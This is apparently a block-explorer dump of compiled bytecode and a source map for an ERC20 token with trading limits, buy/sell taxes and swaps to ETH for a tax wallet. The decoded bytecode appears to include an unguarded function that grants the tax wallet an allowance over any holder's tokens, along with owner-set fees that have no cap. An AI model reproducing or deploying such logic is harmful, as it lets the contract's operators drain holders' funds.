1bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610820565b6109c981611321565b50565b6001600160a01b038316610a2e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610820565b6001600160a01b038216610a8f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610820565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610afc8484610909565b90506000198114610b645781811015610b575760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610820565b610b6484848484036109cc565b50505050565b6001600160a01b038316610b905760405162461bcd60e51b815260040161082090611923565b6001600160a01b038216610bb65760405162461bcd60e51b815260040161082090611968565b60008111610c065760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610820565b600554600160a01b900460ff1615611035576005546001600160a01b03848116911614801590610c4457506005546001600160a01b03838116911614155b8015610c5857506001600160a01b03821615155b8015610c6f57506001600160a01b03821661dead14155b1561103557600554600160a81b900460ff16610d6d576001600160a01b03831660009081526011602052604090205460ff1680610cc457506001600160a01b03821660009081526011602052604090205460ff165b610d105760405162461bcd60e51b815260206004820152601d60248201527f4552524f523a2054726164696e67206973206e6f74206163746976652e0000006044820152606401610820565b6005546001600160a01b03848116911614610d6d5760405162461bcd60e51b815260206004820152601960248201527f4552524f523a2054726164696e6720697320656e61626c6564000000000000006044820152606401610820565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b0316148015610dc757506001600160a01b03821660009081526011602052604090205460ff16155b15610eaf57600654811115610e365760405162461bcd60e51b815260206004820152602f60248201527f4552524f523a20427579207472616e7366657220616d6f756e7420657863656560448201526e3239903a34329036b0bc10313abc9760891b6064820152608401610820565b6008546001600160a01b038316600090815260208190526040902054610e5c9083611910565b1115610eaa5760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c6574006044820152606401610820565b611035565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316148015610f0957506001600160a01b03831660009081526011602052604090205460ff16155b15610f7a57600754811115610eaa5760405162461bcd60e51b815260206004820152603160248201527f4552524f523a2053656c6c207472616e7366657220616d6f756e74206578636560448201527032b239903a34329036b0bc1039b2b6361760791b6064820152608401610820565b6001600160a01b03821660009081526011602052604090205460ff16158015610fbc57506001600160a01b03831660009081526011602052604090205460ff16155b15611035576008546001600160a01b038316600090815260208190526040902054610fe79083611910565b11156110355760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c6574006044820152606401610820565b30600090815260208190526040902054600954811080159081906110625750600554600160b01b900460ff165b80156110715750600e5460ff16155b801561107e5750600a5483115b80156110bc57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b80156110e157506001600160a01b03851660009081526010602052604090205460ff16155b801561110657506001600160a01b03841660009081526010602052604090205460ff16155b1561112b57600e805460ff19166001179055611120611399565b600e805460ff191690555b6001600160a01b03851660009081526010602052604090205460019060ff168061116d57506001600160a01b03851660009081526010602052604090205460ff165b15611176575060005b600081156112b357600554600160b81b900460ff16156111985761119861141e565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316866001600160a01b03161480156111db57506000600d54115b15611219576064600d54866111f091906119ab565b6111fa91906119c2565b905080600f600082825461120e9190611910565b909155506112959050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316876001600160a01b031614801561125c57506000600c54115b15611295576064600c548661127191906119ab565b61127b91906119c2565b905080600f600082825461128f9190611910565b90915550505b80156112a6576112a68730836114a8565b6112b081866119e4565b94505b6112be8787876114a8565b50505050505050565b6005546001600160a01b0316331461078e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610820565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03831661138657600080fd5b6001600160a01b038216610a8f57600080fd5b30600090815260208190526040902054600f548115806113b7575080155b156113c0575050565b6009548211156113d05760095491505b6113d9826115d2565b600e546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f19350505050158015611419573d6000803e3d6000fd5b505050565b6000600b54116114635760405162461bcd60e51b815260206004820152601060248201526f54726164696e67206e6f74206c69766560801b6044820152606401610820565b600b544390600090611476906006611910565b905080821161148d576012600c819055600d555050565b6004600c819055600d556005805460ff60b81b191690555050565b6001600160a01b0383166114ce5760405162461bcd60e51b815260040161082090611923565b6001600160a01b0382166114f45760405162461bcd60e51b815260040161082090611968565b6001600160a01b0383166000908152602081905260409020548181101561156c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610820565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610b64565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611607576116076119f7565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611679573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061169d9190611a0d565b816001815181106116b0576116b06119f7565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac94790611708908590600090869030904290600401611a2a565b600060405180830381600087803b15801561172257600080fd5b505af1158015611736573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b8181101561176b5785810183015185820160400152820161174f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109c957600080fd5b600080604083850312156117b457600080fd5b82356117bf8161178c565b946020939093013593505050565b6000806000606084860312156117e257600080fd5b83356117ed8161178c565b925060208401356117fd8161178c565b929592945050506040919091013590565b60006020828403121561182057600080fd5b813561182b8161178c565b9392505050565b6000806040838503121561184557600080fd5b82356118508161178c565b91506020830135801515811461186557600080fd5b809150509250929050565b6000806040838503121561188357600080fd5b50508035926020909101359150565b600080604083850312156118a557600080fd5b82356118b08161178c565b915060208301356118658161178c565b600181811c908216806118d457607f821691505b6020821081036118f457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610730576107306118fa565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8082028115828204841417610730576107306118fa565b6000826119df57634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610730576107306118fa565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611a1f57600080fd5b815161182b8161178c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a7a5784516001600160a01b031683529383019391830191600101611a55565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212204aac83d719e3d2fddef272b86b4ca7f578e7173e66a23c10fe0c153f6c233b5164736f6c63430008130033
Deployed Bytecode
0x6080604052600436106102135760003560e01c8063751039fc11610118578063c9567bf9116100a0578063e0f3ccf51161006f578063e0f3ccf514610608578063e26ea3a41461061e578063e4748b9e14610634578063e6f705311461064a578063f2fde38b1461066a57600080fd5b8063c9567bf91461059c578063cfb88679146105b1578063d87854b3146105c7578063dd62ed3e146105e857600080fd5b8063a3223d7c116100e7578063a3223d7c14610506578063a457c2d71461051c578063a9059cbb1461053c578063adc2aa5f1461055c578063baccf5cf1461057c57600080fd5b8063751039fc146104a8578063790ca413146104bd5780638da5cb5b146104d357806395d89b41146104f157600080fd5b8063395093511161019b57806359d0f7131161016a57806359d0f713146103f15780635c0f7dd1146104195780636ddd17131461043a57806370a082311461045b578063715018a61461049157600080fd5b806339509351146103575780633ad10ef614610377578063451f313a1461039c57806349bd5a5e146103bd57600080fd5b806319e4fa7d116101e257806319e4fa7d146102d95780631e26a454146102ef57806323b872dd146103055780632e3f418c14610325578063313ce5671461033b57600080fd5b806306fdde031461021f578063095ea7b31461024a5780631694505e1461027a57806318160ddd146102ba57600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b5061023461068a565b604051610241919061173e565b60405180910390f35b34801561025657600080fd5b5061026a6102653660046117a1565b61071c565b6040519015158152602001610241565b34801561028657600080fd5b506102a2737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610241565b3480156102c657600080fd5b506002545b604051908152602001610241565b3480156102e557600080fd5b506102cb60085481565b3480156102fb57600080fd5b506102cb60065481565b34801561031157600080fd5b5061026a6103203660046117cd565b610736565b34801561033157600080fd5b506102cb60095481565b34801561034757600080fd5b5060405160128152602001610241565b34801561036357600080fd5b5061026a6103723660046117a1565b61075a565b34801561038357600080fd5b50600e546102a29061010090046001600160a01b031681565b3480156103a857600080fd5b5060055461026a90600160b81b900460ff1681565b3480156103c957600080fd5b506102a27f00000000000000000000000075bc385cc3ac62b7a3d5eacb35953c374c52ddc081565b3480156103fd57600080fd5b506102a2735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b34801561042557600080fd5b5060055461026a90600160a01b900460ff1681565b34801561044657600080fd5b5060055461026a90600160b01b900460ff1681565b34801561046757600080fd5b506102cb61047636600461180e565b6001600160a01b031660009081526020819052604090205490565b34801561049d57600080fd5b506104a661077c565b005b3480156104b457600080fd5b506104a6610790565b3480156104c957600080fd5b506102cb600b5481565b3480156104df57600080fd5b506005546001600160a01b03166102a2565b3480156104fd57600080fd5b506102346107a7565b34801561051257600080fd5b506102cb60075481565b34801561052857600080fd5b5061026a6105373660046117a1565b6107b6565b34801561054857600080fd5b5061026a6105573660046117a1565b610836565b34801561056857600080fd5b506104a6610577366004611832565b610844565b34801561058857600080fd5b506104a6610597366004611870565b610877565b3480156105a857600080fd5b506104a661088a565b3480156105bd57600080fd5b506102cb600f5481565b3480156105d357600080fd5b5060055461026a90600160a81b900460ff1681565b3480156105f457600080fd5b506102cb610603366004611892565b610909565b34801561061457600080fd5b506102cb600d5481565b34801561062a57600080fd5b506102cb600a5481565b34801561064057600080fd5b506102cb600c5481565b34801561065657600080fd5b5061026a6106653660046117a1565b610934565b34801561067657600080fd5b506104a661068536600461180e565b610953565b606060038054610699906118c0565b80601f01602080910402602001604051908101604052809291908181526020018280546106c5906118c0565b80156107125780601f106106e757610100808354040283529160200191610712565b820191906000526020600020905b8154815290600101906020018083116106f557829003601f168201915b5050505050905090565b60003361072a8185856109cc565b60019150505b92915050565b600033610744858285610af0565b61074f858585610b6a565b506001949350505050565b60003361072a81858561076d8383610909565b6107779190611910565b6109cc565b6107846112c7565b61078e6000611321565b565b6107986112c7565b6005805460ff60a01b19169055565b606060048054610699906118c0565b600033816107c48286610909565b9050838110156108295760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61074f82868684036109cc565b60003361072a818585610b6a565b61084c6112c7565b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b61087f6112c7565b600c91909155600d55565b6108926112c7565b600b54156108ee5760405162461bcd60e51b8152602060048201526024808201527f4552524f523a20546f6b656e20737461746520697320616c7265616479206c696044820152637665202160e01b6064820152608401610820565b43600b556005805461ffff60a81b191661010160a81b179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600e5460009061010090046001600160a01b031661072a848285611373565b61095b6112c7565b6001600160a01b0381166109c05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610820565b6109c981611321565b50565b6001600160a01b038316610a2e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610820565b6001600160a01b038216610a8f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610820565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610afc8484610909565b90506000198114610b645781811015610b575760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610820565b610b6484848484036109cc565b50505050565b6001600160a01b038316610b905760405162461bcd60e51b815260040161082090611923565b6001600160a01b038216610bb65760405162461bcd60e51b815260040161082090611968565b60008111610c065760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610820565b600554600160a01b900460ff1615611035576005546001600160a01b03848116911614801590610c4457506005546001600160a01b03838116911614155b8015610c5857506001600160a01b03821615155b8015610c6f57506001600160a01b03821661dead14155b1561103557600554600160a81b900460ff16610d6d576001600160a01b03831660009081526011602052604090205460ff1680610cc457506001600160a01b03821660009081526011602052604090205460ff165b610d105760405162461bcd60e51b815260206004820152601d60248201527f4552524f523a2054726164696e67206973206e6f74206163746976652e0000006044820152606401610820565b6005546001600160a01b03848116911614610d6d5760405162461bcd60e51b815260206004820152601960248201527f4552524f523a2054726164696e6720697320656e61626c6564000000000000006044820152606401610820565b7f00000000000000000000000075bc385cc3ac62b7a3d5eacb35953c374c52ddc06001600160a01b0316836001600160a01b0316148015610dc757506001600160a01b03821660009081526011602052604090205460ff16155b15610eaf57600654811115610e365760405162461bcd60e51b815260206004820152602f60248201527f4552524f523a20427579207472616e7366657220616d6f756e7420657863656560448201526e3239903a34329036b0bc10313abc9760891b6064820152608401610820565b6008546001600160a01b038316600090815260208190526040902054610e5c9083611910565b1115610eaa5760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c6574006044820152606401610820565b611035565b7f00000000000000000000000075bc385cc3ac62b7a3d5eacb35953c374c52ddc06001600160a01b0316826001600160a01b0316148015610f0957506001600160a01b03831660009081526011602052604090205460ff16155b15610f7a57600754811115610eaa5760405162461bcd60e51b815260206004820152603160248201527f4552524f523a2053656c6c207472616e7366657220616d6f756e74206578636560448201527032b239903a34329036b0bc1039b2b6361760791b6064820152608401610820565b6001600160a01b03821660009081526011602052604090205460ff16158015610fbc57506001600160a01b03831660009081526011602052604090205460ff16155b15611035576008546001600160a01b038316600090815260208190526040902054610fe79083611910565b11156110355760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c6574006044820152606401610820565b30600090815260208190526040902054600954811080159081906110625750600554600160b01b900460ff165b80156110715750600e5460ff16155b801561107e5750600a5483115b80156110bc57507f00000000000000000000000075bc385cc3ac62b7a3d5eacb35953c374c52ddc06001600160a01b0316856001600160a01b031614155b80156110e157506001600160a01b03851660009081526010602052604090205460ff16155b801561110657506001600160a01b03841660009081526010602052604090205460ff16155b1561112b57600e805460ff19166001179055611120611399565b600e805460ff191690555b6001600160a01b03851660009081526010602052604090205460019060ff168061116d57506001600160a01b03851660009081526010602052604090205460ff165b15611176575060005b600081156112b357600554600160b81b900460ff16156111985761119861141e565b7f00000000000000000000000075bc385cc3ac62b7a3d5eacb35953c374c52ddc06001600160a01b0316866001600160a01b03161480156111db57506000600d54115b15611219576064600d54866111f091906119ab565b6111fa91906119c2565b905080600f600082825461120e9190611910565b909155506112959050565b7f00000000000000000000000075bc385cc3ac62b7a3d5eacb35953c374c52ddc06001600160a01b0316876001600160a01b031614801561125c57506000600c54115b15611295576064600c548661127191906119ab565b61127b91906119c2565b905080600f600082825461128f9190611910565b90915550505b80156112a6576112a68730836114a8565b6112b081866119e4565b94505b6112be8787876114a8565b50505050505050565b6005546001600160a01b0316331461078e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610820565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03831661138657600080fd5b6001600160a01b038216610a8f57600080fd5b30600090815260208190526040902054600f548115806113b7575080155b156113c0575050565b6009548211156113d05760095491505b6113d9826115d2565b600e546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f19350505050158015611419573d6000803e3d6000fd5b505050565b6000600b54116114635760405162461bcd60e51b815260206004820152601060248201526f54726164696e67206e6f74206c69766560801b6044820152606401610820565b600b544390600090611476906006611910565b905080821161148d576012600c819055600d555050565b6004600c819055600d556005805460ff60b81b191690555050565b6001600160a01b0383166114ce5760405162461bcd60e51b815260040161082090611923565b6001600160a01b0382166114f45760405162461bcd60e51b815260040161082090611968565b6001600160a01b0383166000908152602081905260409020548181101561156c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610820565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610b64565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611607576116076119f7565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611679573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061169d9190611a0d565b816001815181106116b0576116b06119f7565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac94790611708908590600090869030904290600401611a2a565b600060405180830381600087803b15801561172257600080fd5b505af1158015611736573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b8181101561176b5785810183015185820160400152820161174f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109c957600080fd5b600080604083850312156117b457600080fd5b82356117bf8161178c565b946020939093013593505050565b6000806000606084860312156117e257600080fd5b83356117ed8161178c565b925060208401356117fd8161178c565b929592945050506040919091013590565b60006020828403121561182057600080fd5b813561182b8161178c565b9392505050565b6000806040838503121561184557600080fd5b82356118508161178c565b91506020830135801515811461186557600080fd5b809150509250929050565b6000806040838503121561188357600080fd5b50508035926020909101359150565b600080604083850312156118a557600080fd5b82356118b08161178c565b915060208301356118658161178c565b600181811c908216806118d457607f821691505b6020821081036118f457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610730576107306118fa565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8082028115828204841417610730576107306118fa565b6000826119df57634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610730576107306118fa565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611a1f57600080fd5b815161182b8161178c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a7a5784516001600160a01b031683529383019391830191600101611a55565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212204aac83d719e3d2fddef272b86b4ca7f578e7173e66a23c10fe0c153f6c233b5164736f6c63430008130033
Deployed Bytecode Sourcemap
16634:7733:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6819:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9179:201;;;;;;;;;;-1:-1:-1;9179:201:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;9179:201:0;1023:187:1;16842:117:0;;;;;;;;;;;;16916:42;16842:117;;;;;-1:-1:-1;;;;;1402:32:1;;;1384:51;;1372:2;1357:18;16842:117:0;1215:226:1;7948:108:0;;;;;;;;;;-1:-1:-1;8036:12:0;;7948:108;;;1592:25:1;;;1580:2;1565:18;7948:108:0;1446:177:1;17238:27:0;;;;;;;;;;;;;;;;17175:24;;;;;;;;;;;;;;;;9960:261;;;;;;;;;;-1:-1:-1;9960:261:0;;;;;:::i;:::-;;:::i;17272:25::-;;;;;;;;;;;;;;;;7790:93;;;;;;;;;;-1:-1:-1;7790:93:0;;7873:2;2231:36:1;;2219:2;2204:18;7790:93:0;2089:184:1;10630:238:0;;;;;;;;;;-1:-1:-1;10630:238:0;;;;;:::i;:::-;;:::i;17455:25::-;;;;;;;;;;-1:-1:-1;17455:25:0;;;;;;;-1:-1:-1;;;;;17455:25:0;;;17139:29;;;;;;;;;;-1:-1:-1;17139:29:0;;;;-1:-1:-1;;;17139:29:0;;;;;;17531:38;;;;;;;;;;;;;;;16716:119;;;;;;;;;;;;16792:42;16716:119;;17025:30;;;;;;;;;;-1:-1:-1;17025:30:0;;;;-1:-1:-1;;;17025:30:0;;;;;;17101:31;;;;;;;;;;-1:-1:-1;17101:31:0;;;;-1:-1:-1;;;17101:31:0;;;;;;8119:127;;;;;;;;;;-1:-1:-1;8119:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;8220:18:0;8193:7;8220:18;;;;;;;;;;;;8119:127;5354:103;;;;;;;;;;;;;:::i;:::-;;18644:81;;;;;;;;;;;;;:::i;17336:25::-;;;;;;;;;;;;;;;;4713:87;;;;;;;;;;-1:-1:-1;4786:6:0;;-1:-1:-1;;;;;4786:6:0;4713:87;;7038:104;;;;;;;;;;;;;:::i;17206:25::-;;;;;;;;;;;;;;;;11371:436;;;;;;;;;;-1:-1:-1;11371:436:0;;;;;:::i;:::-;;:::i;8452:193::-;;;;;;;;;;-1:-1:-1;8452:193:0;;;;;:::i;:::-;;:::i;19427:122::-;;;;;;;;;;-1:-1:-1;19427:122:0;;;;;:::i;:::-;;:::i;24212:152::-;;;;;;;;;;-1:-1:-1;24212:152:0;;;;;:::i;:::-;;:::i;18731:218::-;;;;;;;;;;;;;:::i;17487:37::-;;;;;;;;;;;;;;;;17062:32;;;;;;;;;;-1:-1:-1;17062:32:0;;;;-1:-1:-1;;;17062:32:0;;;;;;8708:151;;;;;;;;;;-1:-1:-1;8708:151:0;;;;;:::i;:::-;;:::i;17397:23::-;;;;;;;;;;;;;;;;17304:25;;;;;;;;;;;;;;;;17368:22;;;;;;;;;;;;;;;;23110:188;;;;;;;;;;-1:-1:-1;23110:188:0;;;;;:::i;:::-;;:::i;5612:201::-;;;;;;;;;;-1:-1:-1;5612:201:0;;;;;:::i;:::-;;:::i;6819:100::-;6873:13;6906:5;6899:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6819:100;:::o;9179:201::-;9262:4;4011:10;9318:32;4011:10;9334:7;9343:6;9318:8;:32::i;:::-;9368:4;9361:11;;;9179:201;;;;;:::o;9960:261::-;10057:4;4011:10;10115:38;10131:4;4011:10;10146:6;10115:15;:38::i;:::-;10164:27;10174:4;10180:2;10184:6;10164:9;:27::i;:::-;-1:-1:-1;10209:4:0;;9960:261;-1:-1:-1;;;;9960:261:0:o;10630:238::-;10718:4;4011:10;10774:64;4011:10;10790:7;10827:10;10799:25;4011:10;10790:7;10799:9;:25::i;:::-;:38;;;;:::i;:::-;10774:8;:64::i;5354:103::-;4599:13;:11;:13::i;:::-;5419:30:::1;5446:1;5419:18;:30::i;:::-;5354:103::o:0;18644:81::-;4599:13;:11;:13::i;:::-;18698:11:::1;:19:::0;;-1:-1:-1;;;;18698:19:0::1;::::0;;18644:81::o;7038:104::-;7094:13;7127:7;7120:14;;;;;:::i;11371:436::-;11464:4;4011:10;11464:4;11547:25;4011:10;11564:7;11547:9;:25::i;:::-;11520:52;;11611:15;11591:16;:35;;11583:85;;;;-1:-1:-1;;;11583:85:0;;4886:2:1;11583:85:0;;;4868:21:1;4925:2;4905:18;;;4898:30;4964:34;4944:18;;;4937:62;-1:-1:-1;;;5015:18:1;;;5008:35;5060:19;;11583:85:0;;;;;;;;;11704:60;11713:5;11720:7;11748:15;11729:16;:34;11704:8;:60::i;8452:193::-;8531:4;4011:10;8587:28;4011:10;8604:2;8608:6;8587:9;:28::i;19427:122::-;4599:13;:11;:13::i;:::-;-1:-1:-1;;;;;19507:23:0;;;::::1;;::::0;;;:14:::1;:23;::::0;;;;:34;;-1:-1:-1;;19507:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;19427:122::o;24212:152::-;4599:13;:11;:13::i;:::-;24303:7:::1;:20:::0;;;;24334:8:::1;:22:::0;24212:152::o;18731:218::-;4599:13;:11;:13::i;:::-;18790:10:::1;::::0;:15;18782:64:::1;;;::::0;-1:-1:-1;;;18782:64:0;;5292:2:1;18782:64:0::1;::::0;::::1;5274:21:1::0;5331:2;5311:18;;;5304:30;5370:34;5350:18;;;5343:62;-1:-1:-1;;;5421:18:1;;;5414:34;5465:19;;18782:64:0::1;5090:400:1::0;18782:64:0::1;18870:12;18857:10;:25:::0;18893:12:::1;:19:::0;;-1:-1:-1;;;;18923:18:0;-1:-1:-1;;;18923:18:0;;;18731:218::o;8708:151::-;-1:-1:-1;;;;;8824:18:0;;;8797:7;8824:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8708:151::o;23110:188::-;23216:10;;23183:4;;23216:10;;;-1:-1:-1;;;;;23216:10:0;23237:31;23245:7;23216:10;23261:6;23237:7;:31::i;5612:201::-;4599:13;:11;:13::i;:::-;-1:-1:-1;;;;;5701:22:0;::::1;5693:73;;;::::0;-1:-1:-1;;;5693:73:0;;5697:2:1;5693:73:0::1;::::0;::::1;5679:21:1::0;5736:2;5716:18;;;5709:30;5775:34;5755:18;;;5748:62;-1:-1:-1;;;5826:18:1;;;5819:36;5872:19;;5693:73:0::1;5495:402:1::0;5693:73:0::1;5777:28;5796:8;5777:18;:28::i;:::-;5612:201:::0;:::o;15364:346::-;-1:-1:-1;;;;;15466:19:0;;15458:68;;;;-1:-1:-1;;;15458:68:0;;6104:2:1;15458:68:0;;;6086:21:1;6143:2;6123:18;;;6116:30;6182:34;6162:18;;;6155:62;-1:-1:-1;;;6233:18:1;;;6226:34;6277:19;;15458:68:0;5902:400:1;15458:68:0;-1:-1:-1;;;;;15545:21:0;;15537:68;;;;-1:-1:-1;;;15537:68:0;;6509:2:1;15537:68:0;;;6491:21:1;6548:2;6528:18;;;6521:30;6587:34;6567:18;;;6560:62;-1:-1:-1;;;6638:18:1;;;6631:32;6680:19;;15537:68:0;6307:398:1;15537:68:0;-1:-1:-1;;;;;15618:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15670:32;;1592:25:1;;;15670:32:0;;1565:18:1;15670:32:0;;;;;;;15364:346;;;:::o;16015:419::-;16116:24;16143:25;16153:5;16160:7;16143:9;:25::i;:::-;16116:52;;-1:-1:-1;;16183:16:0;:37;16179:248;;16265:6;16245:16;:26;;16237:68;;;;-1:-1:-1;;;16237:68:0;;6912:2:1;16237:68:0;;;6894:21:1;6951:2;6931:18;;;6924:30;6990:31;6970:18;;;6963:59;7039:18;;16237:68:0;6710:353:1;16237:68:0;16349:51;16358:5;16365:7;16393:6;16374:16;:25;16349:8;:51::i;:::-;16105:329;16015:419;;;:::o;19704:3400::-;-1:-1:-1;;;;;19836:18:0;;19828:68;;;;-1:-1:-1;;;19828:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;19915:16:0;;19907:64;;;;-1:-1:-1;;;19907:64:0;;;;;;;:::i;:::-;19999:1;19990:6;:10;19982:52;;;;-1:-1:-1;;;19982:52:0;;8080:2:1;19982:52:0;;;8062:21:1;8119:2;8099:18;;;8092:30;8158:31;8138:18;;;8131:59;8207:18;;19982:52:0;7878:353:1;19982:52:0;20049:11;;-1:-1:-1;;;20049:11:0;;;;20045:1731;;;4786:6;;-1:-1:-1;;;;;20099:15:0;;;4786:6;;20099:15;;;;:49;;-1:-1:-1;4786:6:0;;-1:-1:-1;;;;;20135:13:0;;;4786:6;;20135:13;;20099:49;:86;;;;-1:-1:-1;;;;;;20169:16:0;;;;20099:86;:128;;;;-1:-1:-1;;;;;;20206:21:0;;20220:6;20206:21;;20099:128;20077:1688;;;20267:12;;-1:-1:-1;;;20267:12:0;;;;20262:324;;-1:-1:-1;;;;;20338:20:0;;;;;;:14;:20;;;;;;;;;:71;;-1:-1:-1;;;;;;20391:18:0;;;;;;:14;:18;;;;;;;;20338:71;20304:186;;;;-1:-1:-1;;;20304:186:0;;8438:2:1;20304:186:0;;;8420:21:1;8477:2;8457:18;;;8450:30;8516:31;8496:18;;;8489:59;8565:18;;20304:186:0;8236:353:1;20304:186:0;4786:6;;-1:-1:-1